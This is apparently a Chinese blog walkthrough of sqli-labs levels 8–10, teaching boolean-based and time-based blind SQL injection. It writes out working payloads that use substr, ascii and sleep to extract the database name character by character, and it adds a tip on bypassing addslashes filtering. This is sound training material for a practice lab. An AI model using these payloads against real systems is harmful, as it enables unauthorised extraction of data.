sqli-labs(五)——盲注(boolean盲注以及时间盲注)第⼋关:
没有查询信息,输⼊id=1' 报错,也没有报错信息,这⾥应该是个盲注
使⽤boolean的盲注吧
先判断boolean的盲注可⾏
输⼊id=1' and '1'='1' %23 页⾯正常
输⼊id=1' and '1'='2' %23 页⾯出错
有⼏个mysql内置的函数需要记住:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进⾏返回。注意这⾥的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上⾯的⼀样,截取字符串
ascii(str):返回字符串str的最左⾯字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
盲注需要⼀个字符⼀个字符的来判断,必须如先判断当前的数据库名的第⼀个字符是什么(可以使⽤sqlmap或脚本)
输⼊?id=1' and ascii(substr((select database()),1,1))>104 %23  发现程序不报错
id=1' and ascii(substr((select database()),1,1))>200 %23
说明数据库名的第⼀个字符的ascii码在104到200之间,继续⽤⼆分法出这个字符的具体ascii码以及之后的数据库名的各个字符。
第九关:
这⾥输⼊?id=1'  ?id=1"页⾯都没有变化,说明之前的注⼊⽅法都没⽤,包括boolean型盲注也都不⾏了。
尝试基于时间的盲注,这⾥需要介绍⼀个mysql内置的函数sleep(5)  表⽰执⾏这个函数时会延迟5秒。(每种数据库都有各⾃延时函数)可以⽤F12看下⽹站处理这个请求正常需要的时间
输⼊?id=1
需要⼀秒左右的时间
输⼊id=1' and sleep(5) %23
字符串长度大于5处理这个请求⽤了6秒,说明程序执⾏了and后⾯的sql语句,只是没有数据显⽰⽽已。
后⾯和流程和boolean型盲注就有点类似了
输⼊ id=1' and if(ascii(substr((select database()),1,1))>64,sleep(5),0) %23
成功延迟了,说明当前数据库名的第⼀个字符的ascii码是⼤于64的。
后⾯的流程就和boolean⼀样了,没什么好讲的了,时间问题。
第⼗关:
这题也是个基于时间的盲注,但是输⼊?id=1' and sleep(5) %23后没有延迟,这个时候还是应该先尝试下 ?id=1" and sleep(5) %23 以及? id=1") and sleep(5) %23
如果都不延迟,则可能是不存在注⼊。尝试发现?id=1" and sleep(5) %23 会延迟,则说明后台是使⽤双引符号进⾏拼凑。
---------------------------------------补充----------------------------------------
这⾥需要补充⼀下,如果是注⼊参数是int类型的,使⽤基于时间的盲注将⽆视daddslashes这些过滤函数,因为并不需要使⽤单双引符号!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。